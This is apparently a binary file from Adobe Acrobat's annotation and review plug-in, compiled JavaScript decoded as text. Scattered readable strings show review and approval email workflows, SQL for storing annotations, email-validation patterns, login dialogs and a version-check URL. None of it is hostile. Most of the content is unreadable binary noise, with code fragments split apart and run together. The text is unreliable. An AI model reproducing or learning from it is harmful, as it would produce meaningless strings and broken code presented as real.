insert into ">" (AUTHOR,	PAGE, NAME,	CONTENTS, DATA)	values (?, ?, ?, ?,	?);authorCBStrToLongColumnThingANClipPrec3toSourceCBannotDataupdate "<" set CONTENTS = ?,	DATA = ? where PAGE	= ?	and	NAME like ?;����e����e����e��������7�9K����
WDmungeURL�url�S�S,T=��ʈ/ACData����WDAnnotEnumerator8��parentsorted	argumentsIT�X3	�����QA�����6QA�����6QA�6Q�ė����А�А�̘�`�parentsortednext�������f:�	arguments�T�X9
	�����Q�;5�
�:Q;5;56QA5 �A;�
�9	�	�A5
55�:�:6QA5GA9
�
�A5�;5�:6Q;5A5�6QA>6Q*m;5A5#?�
6Q6Q�A5E1QA5A5�EQA5A57=����;5�
�:QA5 DQA5A5�B9��A5A5#?�
6Q75�{wWS�v�Q9���:Q;5�
�:QB�����ė����֐�ڐ������������琈ې��Ș�N(c��嘀N�	�����֐����������x���А��ِ�֐�z�{��appthermometerbegintextAnnotsStringIDS_PROGRESS_FETCHINGdiscussionsDiscussionsgetDiscussions
WDmungeURLparentdocURLisortIDS_PROGRESS_SORTINGdurationlengthindexvalue[Discussion]endevalTextdebugExcept����e��c����ANSendForReviewEnabledp�.docresultdY�Zh;5 BBWQ;5=DT@5�T5 WQ�vWQCWQ�
CWQV������������0���	�	�xψ�{ː����y��CollabhasSynchonizerapp
viewerTypeReaderexternal����e7����ANSendForSharedReviewEnabled�doc[D[|9��T�:��ӈ#ANSendForReviewEnabled���� ANSendForFormDistributionEnabled�docq[�[�9��T�:��ӈ#ANSendForReviewEnabled����ANSendCommentsToAuthorEnabled��	doc	reviewing�\�]�T'=B;�
�T�:WQVEjQT�
�;5�;5�:;5E5QT�
�;5�;5�:;5������ؐ����	undefinedCollab
isEmailReviewrequestPermission
permissionannot	canExportgrantedmodify�����x�
docstrresult�]_�T55?EQT55?Q>WQ;�
�:Q;�
�T�����:WQ;�
�:QV�C�������ѐ�ސ�ѐ������CollabaddedAnnotCountmodifiedAnnotCountapp	beginPrivalertendPriv����ANDoSendD	�jodocdocIDfromtopositionccbccsubjectbodybUBbUI	bApprovalbNoMojotoolbarsbInitiatorEmailraddrurlinvitees
firstParam	startDatescriptparamsresultraiseesubmitParams
docScriptName
oneShotScriptparmsstrPrefversvsversnamestrstrENUsnameENUscriptssoResultN_���"T'=DQT�>EQT
B6;�
�Y;5]T]\�:Q>=WQT'=EQT�>TWQ=	WQT>$V9
�
�T�:WQoT�
�=�:WQTV�?$V9
�
�T�:WQ%V9
�
�VT?7�:WQV=
WQBWQT'=EQT�>?VV=WQV=9
�
�T�:WQCWQT'=EQT�>E
QT ?VV=WQV=9
�
�T�:WQCWQT'=EQT�>?VV=WQV=9
�
�T�:WQCWQT'=EQT�>?VV=WQV=9
�
�T�:WQCWQT
,VV=WQV=WQ'VV=WQV=WQ;�RWQVQT �YV]=]T]T]=]V]T
]C]\�
�:�
�= �=!�:WQn"=#9$�$��
�:�:=%o"Q=&;"='=(V=)WQ�Y=]B]=]T]=]T]*B]\�
�:�
�= �=!�:WQn+=#9$�$��
�:�:=%o+Q=&;+='=,V=)WQVQBWQV	Q�YV]-T].C]/B]0\W
QT �=1WQV=2V�
�:=3WQY=4]5;56]7T�	�]8T�	�]9T=:
=;T	=<
===>]?\W
Q=@T=A
=;T	=B
==CWQ;D�RWQT jVYV
58]F=G]H=I]J\6EQVYV
59]F=L]H=I]J\6KQ�VYV
58]F=G]H=I]J\6EQVY�]F=L]H=N]J\6MQVYV
59]F=O]H=I]J\6KQVK�mMWQVV75HWQVVWQ;V7WQV�@WQTEQ;5P=QV=RWQ;V7WQV
VYV]SV]T=U]VV�W
�>�?�:=X=Y
=Z][VV75F]FVV75J]J\8Q�L���N9\�\�V
�:WQV
YZV`V`\]^\6]QVK=mMWQV
5]V
5]5^�_
�V�VV7�:6^Q�L����NT	V
;a546`QT E	QT	V
C6bQ;�c
�:QT�d
�V
�:WQ;�e
�:QJ�vWQ;�
�YV5f]T]\�:QCWQ�;g�RWQVV6hQVV6iQV�����������ɐ��������ɐ����pʐ��ؐ�����pʐ����p�����p���ӈ������p���p������5�����p���p������������p���p������������p���p�����'�����p���pʐ������p���p���ΐ����Ε��ȐʐȐȐʐȐȐڐӐ���ꘀ
"̐��ꐐ��
*�ʐ�ʐȐʐ�Ȑ�ڐӘ�
9�ꘀ
E̐��吐������搐����
Vɐ☀
i�ʐϐӐӐ
�
吐��
�
ߘ�
~ΐ�e�����������ꐈ𐐐5��ː�Аː͘�
����
�����͐�͘�
��ːȐȐ��ʐ�
ِѐݘ�
�֐���琐�5@ː����
���Ә�
�����
ʐ��ѐ�֐��x��ʐ��퐈�{���ΐ�̐��̐���	undefinedlengthappalertAnnotsString IDS_SEND_FOR_REVIEW_NO_RECIPIENTcMsgoDocmailto:escapesplit;?&cc=bcc=subject=body=ui=trueui=falseDate	initiator
initScriptinviteesccbccsentDatetoolbarsselfDestructtoSourcereplace{$& doc: this, !CBCanDoEBRReviewWorkflowCheckExpr(CBEncodeMaybeInternalStrings())if(!) {  }	else { Collab.registerReview();}initiatorEmail CBCanDoApprovalWorkflowCheckExpr" }	else { Collab.registerApproval(cURLcPermIDbPDFbCheckReqdFields___ADBERMAIS___)
if(app.viewerVersion < 7) try{addScript(, ' ');} catch(e){}RMAcreatorIDS_SORT_WARNING_TITLEtitler_versa_versAEBRwwoREwfIDS_VERERR_APP_RE_ArrayroldvernR602sverOldlablaoldF4o5a55xF602languageENU_ENUstrstrenuurltype	substringFViewerReaderprodCreateViewerVersionCheck70oJavaScriptDocconcatcUsageRightssubmitFormUsageRightsbSetDocIDLater	beginPriv
submitFormendPrivmessageObjectsubmitFormResultraised�������bReaderbResulterrk�l

;5�
��:WQ;5�E
QV DHQ;5�E5Q9��;5�;5�:;5WQVEQ;	BV;

;WQ;�
�YV]
\�:QBV�ߐӈ.�ѐ���
ؐ������app
viewerTypematch
viewerVersionrequestPermission
permissionannotcreategrantedexternal-$$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_READER.$$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_ACROBATalertcMsgReader������� bReaderbResulterr�q`s9

;5�
��:WQ;5�	E?QV D5Q9��;5�;5�:;5WQVEQ;	BV;

;WQ;�
�YV]
\�:QBV�ߐӈ/ʐ����
ؐ������app
viewerTypematch
viewerVersionrequestPermission
permissionannotcreategrantedexternal-$$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_READER.$$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_ACROBATalertcMsgReader����e�%@������CreateViewerVersionCheck70��9�Factions
bCreateENU	varScript
readerCase
viewerCasen�ƫ�
T5@T=6QT5@T=6QT5@T=6QT5@'T=T5=6QT5T56Qn;	�RoQn=
=;5
==T5=oQT5=DQT5=EQ;5
=WQV�n�=oQ9��T�=�C�:Qn�=oQ9��T�=�C�:Qn�=oQ 9��T�=�B�:Q===T5=== T5=!="T5==#T5=$=!==%T5&==='T5&=!=(T5==#T5=)=!=WQn*;	�Ro*Qn*T5=+o*QT5,@WQVcn*�*=-o*QT5,@&9.�.�T5,�T5�:Qn*�*=o*QT5/@DQT50@WQV�V!n*�*=1o*Qn*�*=2o*Qn*�*=o*QT5/@&9.�.�T5/�T5&�:QT50@&9.�.�T50�T5&�:Qn*�*=o*Qn*�*=o*Qn3;4�Ro3Q;3;65Q;3V66Q;3=7T58;*8Q;3�����ΐ���ΐ���ΐ�"��␐��p���Ր���אې���������p��ې��p��ې��p̐���ۘ�!���Ր�ՐՐې�Ր�ՐՐېʘ�4�Ր�ِ�ΐ���ːu������ᐐ��p���ސ�����p̐���p���p���������ᐐ��p��V��p��[�Ր�А�ΐ�ڐ��prefixurl+http://cgi.adobe.com/special/acrobat/updatewfcgig"?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w="	strScriptString@if (typeof(this.ADBE) == "undefined") this.ADBE = new Object();
ADBE.LANGUAGE = "applanguage";
ADBE.Viewer_string_Title = "titleAwREAwoREENU%if (app.language == ADBE.LANGUAGE)
{
&CreateViewerVersionCheckStringsClusterstr	}
else
{
strenu}
Uif (typeof(ADBE.Reader_Value_Asked) == "undefined") ADBE.Reader_Value_Asked = false;
Uif (typeof(ADBE.Viewer_Value_Asked) == "undefined") ADBE.Viewer_Value_Asked = false;
Rif (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < r_vers)
{
	ADBE.Reader_Need_Version = ;
&	ADBE.Reader_Value_New_Version_URL = "	ADBE.SYSINFO = # + "&r=" + ADBE.Reader_Need_VersionRif (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < a_vers	ADBE.Viewer_Need_Version = &	ADBE.Viewer_Value_New_Version_URL = "# + "&r=" + ADBE.Viewer_Need_Version
codeScript
{
rold"if (app.viewerType == "Reader")
{
CreateViewerVersionCheckCasea5aoldelse
 if (app.viewerType != "Reader")

scriptsObjObject!ADBE::0100_VersChkStrings!ADBE::0100_VersChkVars!ADBE::0200_VersChkCodecreator����CreateViewerVersionCheckCase=�maction	need_vers?���in�=oQT5=En�TT5=
T5=oQ@n�TT5=
T5=oQn�=	oQT5
=nT5=0n�=T5
=oQ+n�=T5
=oQ�T5
=�T5@T=6QT5@T=6Qn�=T5
=T5�
�:=T5�
�:=oQT5=!n�=oQn�=oQn�=oQ���p��@���
�p̐���
�p���p���i���+���p̐���p̐��������ΐ���ΐ���p�������p̐���p����p�
codeScript	if (app.viewerVersion < prodReadervernADBE.Reader_Need_Version && !ADBE.Reader_Value_Asked)
ADBE.Viewer_Need_Version && !ADBE.Viewer_Value_Asked)
	{
typeurl		if (app.alert(strvarT, 1, 1) == 1) this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
		app.response({cQuestion:`, cDefault:ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle:ADBE.Viewer_string_Title});
updatercompTypeAppcompReader7', 1, 1) == 1) app.findComponent({cType:toSource, cName:, cDesc:""});
"		ADBE.Reader_Value_Asked = true;
"		ADBE.Viewer_Value_Asked = true;
	}
����CreateViewerVersionCheckString��creatoractionstrlangchtabD�ɴ�T5�=DQT5@5T=T=T5=T56QTT7�=DQTT7@TTT58Qn�TT5=	TT7�

�:=oQ���������А���p�Pstrvar	undefinedADBE.Viewer__string_prod_lablstr	strScript = toSource;
����&CreateViewerVersionCheckStringsCluster�� actionsstrlangindentchtab4�@��T=
=WQT5@.9��T5�T5�T�V�:QT5@.9��T5�T5�T�V�:QT5@.9��T5�T5�T�V�:Q�
ؘ��������������N	roldCreateViewerVersionCheckStringcreatora5aold����ANContinueApproval�doc_�m��9��T�B�B�C�B�B�:��݈@ANSendForApproval����
ANEndApproval�doc��ʺ�9��T�B�B�C�C�C�:��݈>ANSendForApproval����ANRejectApproval�doc���9��T�B�C�B�C�B�:��݈?ANSendForApproval����ANApprovalGetStringsh�.�HmoderetData����;�RWQT�lV=6QV=6QV=6QV=6QV=
6	QV=6QV=6
Q�T?�V;56QV;56QV;56QV;56QV;56	QV;56QV;56
QTT��V;56QV;56QV;56QV;56QV;56	QV;56QV;56
Q�T��V;56QV;56QV;56QV;56QV;56	QV;56QV;56
Q*T��V;5 6QV;5!6QV;5"6QV;5#6QV;5$6	QV;5%6QV;5&6
Q�T��V;5'6QV;5(6QV;5)6QV;5*6QV;5+6	QV;5,6QV;5-6
QV�ΐ�g���ΐ�ΐ�ΐ�ΐ�ΐ�ΐ�Ӑ�����Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�ؐ�����Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�ؐ�����Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�ؐ�����Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�ؐ���Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ�Ӑ����ObjecttitleTitle 1textFirst

Second

Thirddest
Destination 1tipTip 1subj	Subject 1msg	Message 1notifyNotification 1AnnotsString$IDS_SEND_FOR_APPROVAL_TITLE_INITIATE#IDS_SEND_FOR_APPROVAL_INST_INITIATE#IDS_SEND_FOR_APPROVAL_DEST_INITIATE"IDS_SEND_FOR_APPROVAL_TIP_INITIATE#IDS_SEND_FOR_APPROVAL_SUBJ_INITIATE#IDS_SEND_FOR_APPROVAL_MESG_INITIATE%IDS_SEND_FOR_APPROVAL_NOTIFY_INITIATE$IDS_SEND_FOR_APPROVAL_TITLE_CONTINUE&IDS_SEND_FOR_APPROVAL_INST_CONTINUE_UB#IDS_SEND_FOR_APPROVAL_DEST_CONTINUE"IDS_SEND_FOR_APPROVAL_TIP_CONTINUE#IDS_SEND_FOR_APPROVAL_SUBJ_CONTINUE&IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB%IDS_SEND_FOR_APPROVAL_NOTIFY_CONTINUE(IDS_SEND_FOR_APPROVAL_INST_CONTINUE_NOUB(IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB$IDS_SEND_FOR_APPROVAL_TITLE_COMPLETE#IDS_SEND_FOR_APPROVAL_INST_COMPLETE#IDS_SEND_FOR_APPROVAL_DEST_COMPLETE"IDS_SEND_FOR_APPROVAL_TIP_COMPLETE#IDS_SEND_FOR_APPROVAL_SUBJ_COMPLETE#IDS_SEND_FOR_APPROVAL_MESG_COMPLETE%IDS_SEND_FOR_APPROVAL_NOTIFY_COMPLETE"IDS_SEND_FOR_APPROVAL_TITLE_REJECT!IDS_SEND_FOR_APPROVAL_INST_REJECT!IDS_SEND_FOR_APPROVAL_DEST_REJECT IDS_SEND_FOR_APPROVAL_TIP_REJECT!IDS_SEND_FOR_APPROVAL_SUBJ_REJECT!IDS_SEND_FOR_APPROVAL_MESG_REJECT#IDS_SEND_FOR_APPROVAL_NOTIFY_REJECT����
eMailValidate���emailStremailPatspecialChars
validChars
quotedUseripDomainPatatomworduserPat	domainPat
matchArrayuserdomainIPArrayidomainArrayatomPatdomArrlen��k��WQ=WQ=V=WQ=WQ�WQV=WQ=V=V=WQ;�=	V=
V=�RWQ;�=	V=
V=�RWQT�
�V�:W	QV	@BV	?7W
QV	�7WQV
�
�V�:@BV�
�V�:WQV@=?W
Q$mVV
7X�BV
#?W
QQ�V
�����CV�
�V�:WQV@B;�V�=
�RWQV�
�V�:WQV�WQVV�?7��BV�BC˜�ɘ�ɐ��Ә�ɘ�!ɐ��͘�(ݐ�萐�蘀4֐
������ɐʐ��������E֐
���$$,����H�������H�̘�K��H�͘�N���R֐
�����_ؐ֐̐������h�����n��\(\)<>@,;:\\\"\.\[\][^\s]	("[^"]*")+(|)RegExp^(\.)*$matchglength^(.+)@(.+)$0^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$+,�������
z)
dialogTextwarningMessagewarningTitlebDemandEmailbDemandNameeaddrinamebStatus��y�rVQVQVQm�;�
�B�T�:WQVV>WQT�;�
�:Q;5WQ;�
�:QV@EQ9��V�: Z;�
�:Q;�
�YT]	T]
?]\�:Q;�
�:Q?WQT�;�
�:Q;5WQ;�
�:QV@Z;�
�:Q;�
�YT]	T]
?]\�:Q;�
�:Q?WQ>V���������(�y)�{�����y��ڐ�Q�������ѐ�ΐ�ѐ�ˈ����ѐ�ѐ�������ѐ�ΐ�ѐ�
���ѐ�ѐ�ʘ�����ȈCollabgetIdentityapp	beginPrividentityemailendPriv
eMailValidatealertcMsgcTitlenIconname
������C�+�PdocbNoMojoegodataeaddr	startStepto	startDatefrombccresultDoSenddocName����� BWQVQCWQY\WQTEQT5GVT56QT5�
��:V;56Q;�
�:Q;5	WQ;�

�:QV i9��;5
�;5�;5�C�B�:Q;�
�:Q;5	WQ;�

�:QV >>WQ�mVV6QVC6QV;5�
�=�:@6Q9��V�V�C�V5�V5�:QV5UQ?WQV5=aV5WQ;�RWQV5WQVW	Q9��T�T5>7�V�V�>�=�V	�V5�V5�V5�B�C�V�@�V5�:W
QV
5  EQV
5!�T5"WQ;�
�:Q;#�$
�;5%�&
��V�:�=�;5'�&
��V�:�=(�:Q;�

�:QT5)T�*
�C�:Q?
BWQ�V���TEQT5)T�*
�C�:Q>������ʐ�����ѐ���Ӑ���ѐΐ�ѐ�����֐ːː�����ѐ�ΐ�ѐ�������������(�������͐�̐�ʐ�搐�됐��̐������\��̐ΐ̘�에�䐐�����̐��ѐ��퐖�ʐ�ѐ����ѐ�������̈ʘ����ѐ���	pathdocPathmatchdocFS
fileSystemWebDAVapp	beginPrividentityemailendPrivDoIdentityDialogAnnotsString IDS_APPROVAL_IDENTITY_SETUP_TEXTIDS_EMAIL_INVALID"IDS_SEND_FOR_APPROVAL_TITLE_NONAMEraddrinitiatorEmailreaderEnable
viewerTypeExchange-ProCBRunEmailApprovalWizarddocresultfnshaddrsDateANDoSenddocIDsubjmsgraisedsubmitFormResultdocumentFileNameCollab
alertWithHelpIDS_APPROVAL_CONFIRM_MSGreplace!IDS_SEND_FOR_REVIEW_CONFIRM_TITLEAnnots:SendForApprovalConfirmhiddencloseDoc^http	%docname%	%docname%"��������;��docbInitiating
bRejectionbUnregisterbNoMojobIsEndedocNamego
bSentEmaildata
ccoriginalinitiatorEmailOriginalbShowInitiatorEmail
stringList	bUBAnnotsresultDoSendcheckCC
docScriptName
subjNotify	msgNotify���	 VQT5WQCWQBWQY\WQTEQT5GVT56QT5�
��:V;56Qm;�
�:Q;	�

�T�:WQ;	�
�T�:WQ;�
�:QVV6
QVQV'=EQV�>CWQ
BWQT@;�
�:QV;	�
�:6Q;�
�:QY\WQT9����:WQ�T9����:WQ�B9����:WQ{BW	Q;�
�:Q;	�
�T�:W	Q;�
�:QV	9����:WQ9����:WQ9��V5�
��V�:�V5�
��V�:�V5�
��V�:�V5�
��V�:�V5�
��V�:�V5�
��V�:�V�C�V�V�T�:Q;�
�:Q;�
�YV5]C]C]\�:UQ;�
�:QV
QV5 =!�;�
�:QT;	�"
�V5�:Q;	C6#Q;�
�:QV5$�
�;%�=&�='�R�=(�:WQV�>V=(6$Q=)WQT DQTEQV5TD	QT@;�
�:Q;	�*
�T�V�:Q;�
�:Q9+�+�T�T5,>7�=(�V5-�>�V5$�V�V5�V5�B�B�C�C�@�V�:W
QV
5.DQV
5/ 5;�
�:Q;	B6#Q;�
�:Q>CWQV5
E QV'=EQV�>�TD	QT'V5�
��V�:$;051�
��V�:W
QTEQV5 );052�
�	�V�:"V53�
�
�V�:WQV�
��V5-�:WQ;�
�:Q;	�*
�T�V�:Q;	�4
�T�:Q;�
�:Q9+�+�T�T5,>7�=(�V�>�=(�=(�V
�V�B�B�C�C�@�B�:W
Q;�
�:Q;	�5
�T�:Q;�
�:QV
5.DQV
5/ 5;�
�:Q;	B6#Q;�
�:Q>CWQT;	�6
�T�:QV�;�
�:Q;	�7
�;058�
��V�:�=(�;059�
�
�V�:�=:�:Q;�
�:Q;�
�:Q;	B6#Q;�
�:Q?F�vWQ;�
�:Q;	B6#Q;�
�:Q�
BWQ�V����>���̐��ʐ�����ѐ���Ӑ��(�������"���ѐؐؐ�ѐ���̘�0���
��ʐ������ѐ�ِ�ѐ��ʐ��ڐ��ڐ���F���ڐ����Q��_�ѐ�ؐ�ѐ���ڐ��՘�j��ސސސސސ����Ȑ��ѐ��ѐ���������ѐ����ڐ��̐��ј������ΐ�ɘ���
����������	ѐ�	ِ�	ѐ������Έ"�����ѐ�	̐�	ѐ�	�������ΐ�	�����"�ː��Ɉ#�$�ː�ᘀňѐ�ِ�Ր�ј�Ј�Θ�׈ѐ�Ր�ѐ�Έ"�����ѐ�	̐�	ѐ�	���������Ր����ѐ��퐖�ʐ�ј���ѐ�
̐�ѐ�z��ʐ��ѐ�
̐�р{˘������!�ʘ�	��	documentFileNamepathdocPathmatchdocFS
fileSystemWebDAVapp	beginPrivCollab	getCCaddrhasInitiatorEmailRequestendPrivinitiatorEmail	undefinedlengthfinalApprovalEmailfinalApprovalEmailEnabledANApprovalGetStrings
isUbiquitizedCBRunApproveDialogtitlereplacetextdesttipsubjmsgopenDoccPathbHiddenbUseConvresultmyokenableFinalApprovalEmailinEmailWorkflowccaddrRegExp([\f\n\r\t\v ])+g___ADBERMAIS___removeApprovalDocScriptANDoSenddocIDaddrraisedsubmitFormResultAnnotsStringIDS_APPROVAL_NOTIFY_SUBJ#IDS_SEND_FOR_APPROVAL_MESG_COMPLETEnotifybeginInitiatorMailOperationendInitiatorMailOperationunregisterApproval
alertWithHelpIDS_APPROVAL_CONFIRM_MSG!IDS_SEND_FOR_REVIEW_CONFIRM_TITLEAnnots:SendForApprovalConfirm����e^http	%docname%	%docname%	%docname%	%docname%	%docname%	%docname%	%docname%	%docname%	%docname%	%docname%
%receiver%	%docname%	%docname%�|��������!docerr�	�

VQ;�
�:QT%;�
�=�T�:Q;�
�=�:Q;�
�:QV9��V�:Q����ѐ ����א�ѐ���ӈapp	beginPrivexecMenuItemAnnots:BrowserBasedReviewendPriv
DebugThrow�����
��
=+pdocbUpdatedatago	startStepeaddrto	startDatefromproxyIDalreadyReviewingcanProxydocIDresultDoSenddocName=� T;
BUQY\WQTEQT5GVT56QT5�
��:V;56QTEQ;�
�T�:X;	�

�:Q;	�
�Y;5
]T]\�:Q;	�
�:Q>CWQ>WQ;	�

�:Q;5WQ;	�
�:QV i9��;5�;5�;5�C�B�:Q;	�

�:Q;5WQ;	�
�:QV >�m9��V�V�:QV5UQ?WQV5=�V5�
�=�:WQ;�RWQV5WQVQBWQ;� 
�T�:W	Q�;�!
�T�:";�"
�T�:WQCWQ�vW
Q�V
QVVW
Q:VD
QV	 T5#>7;�$
�:W
Q9%�%�T�V
�V�V�>�=&�=&�V5'�V5(�V5)�B�B�B�V5*�:WQV5+ EQV5,KV DQTC�;�-
�YT]@].=&]/V]0=&]1=&]2V]3V5*]*\�:QV	;�4
�T�V
�:QT55WQ;	�

�:Q;�6
�;57�8
��V�:�=&�;59�8
��V�:�=:�:Q;	�
�:QT5;T�<
�C�:Q?
BWQ�V���TEQT5;T�<
�C�:Q>�����ʐ�����ѐ���Ӑ������ѐ�ѐ���������ѐΐ�ѐ�����֐ːː����ѐ�ΐ�ѐ�������(������L��א��̐���������ݐΐ�̐����ؐ���������ؐ�}���ʀ{�������̘�s�Ɉ萐�ې��������������␐��٘��̐��ѐ��퐖�ʐ�ѐ�����֘������������K�ʘ�����ѐ��		undefinedpathdocPathmatchdocFS
fileSystemWebDAVCollab
isDocDirtyapp	beginPrivalertAnnotsString#IDS_SEND_FOR_EMAIL_REVIEW_DOC_DIRTYcMsgoDocendPrividentityemailDoIdentityDialogIDS_REVIEW_IDENTITY_SETUP_TEXTIDS_EMAIL_INVALID IDS_SEND_FOR_REVIEW_TITLE_NONAMECBRunEmailReviewWizarddocresultfnshaddrsjoin;DateraddrcanProxy
isEmailReviewgetProxydocIDcreateUniqueDocIDANDoSendsubjmsgreaderEnabletoolbarsraisedsubmitFormResultregisterReview	initiator
initScriptinviteesccbccsentDate
registerProxydocumentFileName
alertWithHelpIDS_SEND_FOR_REVIEW_CONFIRM_MSGreplace!IDS_SEND_FOR_REVIEW_CONFIRM_TITLEAnnots:SendForReviewConfirmhiddencloseDoc����e^http	%docname%	%docname%�6;�����E�7�sdoc
keepTryingresultedocNamegopermIDdatabAsPDFmaxPDFCommentsSizeurl
didSubmitForm#�CWQVQVQ;�
�T�:E#Q9��T�;5�:T5WQCWQ;�
�T�:WQ;�
�:QYVT55	T55
]\WQ;�
�:QV T5
>7WQCWQ;�
�:Q;5WQ;�
�:QT5XXV�;�
�:Q;�
�;5�
��V�:�����;5�:WQ;�
�:QV�BWQV�
BWQ}m9��;5�
��V�:�;5�;5�;5�;5�V�C�V�:QV5=�=9��V5�:=9��V5�:= 9��V5!�:="W	Q�;�
�:QT�#
�YZ\]$C]%C]&V	]'V](V ])V]*C]+B],\�:W
Q;�
�:QV
�BWQ;�-
�T�;.�R�:Q;�
�:Q;�/
�;50�
��V�:�=1�;52�
��V�:�=3�:Q;�
�:Qg�vWQ;�
�:Q;�
�YV54]5T]6\�:Q;�
�:Q�
BWQ�V�������������̐��ؐ��ѐ�ѐ�����ΐ����ѐΐ�ѐ������ѐ���ѐ�
��ʐ�����(�������А��搐������䐐���ѐАʐ��ȐȐ�
ɐȐ�ϐ��ѐ��������ѐ��퐖�ʐ��x��ʐ��ѐ�퐈р{˘�����ψʘ����Collab
isEmailReviewANVerifyCommentsAnnotsStringIDS_SEND_COMMENTS_NO_COMMENTSdocumentFileNamegetProxyapp	beginPrivreviewersEmailinitiatorEmailaddrendPrivdocIDmaxPDFCommentsSizefilesizealertIDS_SEND_COMMENTS_DOC_IS_LARGEreplace$IDS_SEND_COMMENTS_DOC_IS_LARGE_TITLECBRunReturnResponseDialog!IDS_SEND_COMMENTS_TO_AUTHOR_TITLE IDS_SEND_COMMENTS_TO_AUTHOR_INSTIDS_SEND_FOR_REVIEW_CONFIRM_TIP IDS_SEND_COMMENTS_TO_AUTHOR_SUBJIDS_SEND_COMMENTS_TO_AUTHOR_MSGresultokmailto:escape	?subject=subj&body=msg	&ui=false
submitFormaFieldsbAnnotations
bInclNMKeycURLbPDFbFDFcPermID	bExclFKeybCheckReqdFieldssetReviewRespondedDateDate
alertWithHelpIDS_SEND_FOR_REVIEW_CONFIRM_MSG!IDS_SEND_FOR_REVIEW_CONFIRM_TITLEAnnots:SendForReviewConfirmmessagecMsgoDoc����e%mb%	%docname%	%docname%	%docname%���/�����U�"t @	bCanStorebStorecTitlecStrauth0#b*;�RWQV;�R6QV5B6QV�6QV�6QVYT]ZY=]=	]
ZY=]=]
T]C]
X]\`Y=]=]ZY=]=	]
=]ZY=];5]\`Y=]=]�]\`\]\`Y=]=	]
=]ZY=];5]\`Y=]=]�]C]\`\]\`\]\`Y=]=]=]
;5]\`Y=]\`\]\`\]\6Q; �!
�V�:QV5�ΐ�Ӑ�ϐ��Θ�
�Θ����Ȑ���ʐʐ���ʐʐȐ�͐��ʐʐ���ʐʐʐ���𐐐�ʐʐʐ�����A�ʐʐʐԐ�였M�Ր�ɈObjectresultresponse
initializecommitdescriptionnameviewtypealign_centeralignstatic_text
align_left	wrap_namewidth
align_fillalign_children	align_rowAnnotsStringIDS_SYNC_AUTHENTICATE_USERNAME	edit_textusrnitem_id
char_widthelementsIDS_SYNC_AUTHENTICATE_PASSWORDpasspasswordkeyc	check_boxIDS_SYNC_AUTHENTICATE_SAVECRED	ok_cancelapp
execDialog�����]�	dialog�#P$T�
�Y�����]\�:QT�
�Y����������B]\�:Q��䐈�߈0enablekeycload�����\�		dialogvaluesm$\%
T�
�:WQA5V56QA5V56QA5V56QA5C6Q�Ґ�Ԑ�Ԑ�Ԑ�͈storeresultUsernameusrnPasswordpassSaveCredentialkeycresponse�����4�'�0@	bCanStorebStorecServercRealmbShowWarningauth�*�3Q;�RWQV;�R6QV5B6QT;DQT�XV5T;DQT�XV5V�6QV�6QVY;5	]
ZY=]=
]ZY=]=]=];5]
\`Y=];5]
=
]ZY=]=]T]
\`Y=]=]T]
\`Y=]=]ZY=]=
]=]ZY=];5]
\`Y=]=]�]\`\]\`Y=]=
]=]ZY=];5]
\`Y=]=]�]C] \`\]\`\]\`Y=!]="]=];5#]
\`\]\`Y=$]\`\]\`\]\6Q;%�&
�V�:QV5�ΐ�Ӑ�ϐ�����ɐ����ɐ���Θ�e�Θ�m���ϐ���ʐʐ���ʐʐʐԐ��ʐϐʐ���ʐʐ͐��ʐʐ͐��ʐʐ���ʐʐʐ���𐐐�ʐʐʐ�������ʐʐʐߘ��였��Ր�ɈObjectresultresponse	undefinedlength
initializecommitdescriptionAnnotsStringIDS_SYNC_AUTHENTICATE_TITLEnameviewtypealign_centeralignstatic_text
align_leftwarnitem_id+IDS_SYNC_AUTHENTICATE_WARNING_BASIC_NON_SSLclusterIDS_SYNC_AUTHENTICATE_CAPTION
align_fillalign_children	align_rowIDS_SYNC_AUTHENTICATE_USERNAME	edit_textusrn
char_widthelementsIDS_SYNC_AUTHENTICATE_PASSWORDpasspasswordkeyc	check_boxIDS_SYNC_AUTHENTICATE_SAVECRED	ok_cancelapp
execDialog�������
dialog�+x,_T�
�Y�����]\�:QT�
�Y����������B]\�:QT�
�Y�����]\�:Q��䐈�ߐ��%enablekeycloadvisiblewarn�����\�		dialogvalues�,]-eT�
�:WQA5V56QA5V56QA5V56QA5C6Q�Ґ�Ԑ�Ԑ�Ԑ�͈storeresultUsernameusrnPasswordpassSaveCredentialkeycresponse�������1urlusers
limitedAccess�3�5�nBoQ;�
�=�:Qn;�
�:oQ;�n;�
�T�T�T�:oQ;>!;�
�=�:Q;�
�=	�:Q;�

�:Q;�
�=�:Q;��̐�א�ې|������ܐ��א�֐���א��resultconsoleprintln%
Testing Hosted Services Share API...swConnCollab	swConnect	shareFileShare file API succeeded*** Share file API failed
disconnect7
ERROR: Unable to establish connection with Acrobat.com����
ANMatchString�	searchStrmatchStr6F6�T�
�T�:��ӈ!match����ANMatchStringCaseInsensitive,�
	searchStrmatchStrmatchStrRegExpq6�6�;�T�=�RWQT�
�V�:�ؐ�ӈ'RegExpimatch�������*�&@cPathshareDlg7@�
;�RWQV�6QV�6QV�6QVY=]ZY=]=	]
ZY=]=]X,]
\`Y=]=]=]
ZY=]=]=]\`Y=];5]=]\`\]\`Y=]=]=]C]\`Y=]C]YZ�`YZ\]\`\]\]= ]=]\`Y=]=!]=]C]\`Y=]C]YZ�`YZ\]\`\]\]="]=]\`Y=#]\`\]\`\]\6Q;$�%
�:Q;$�&
�9'�'�V�:�:Q;$�(
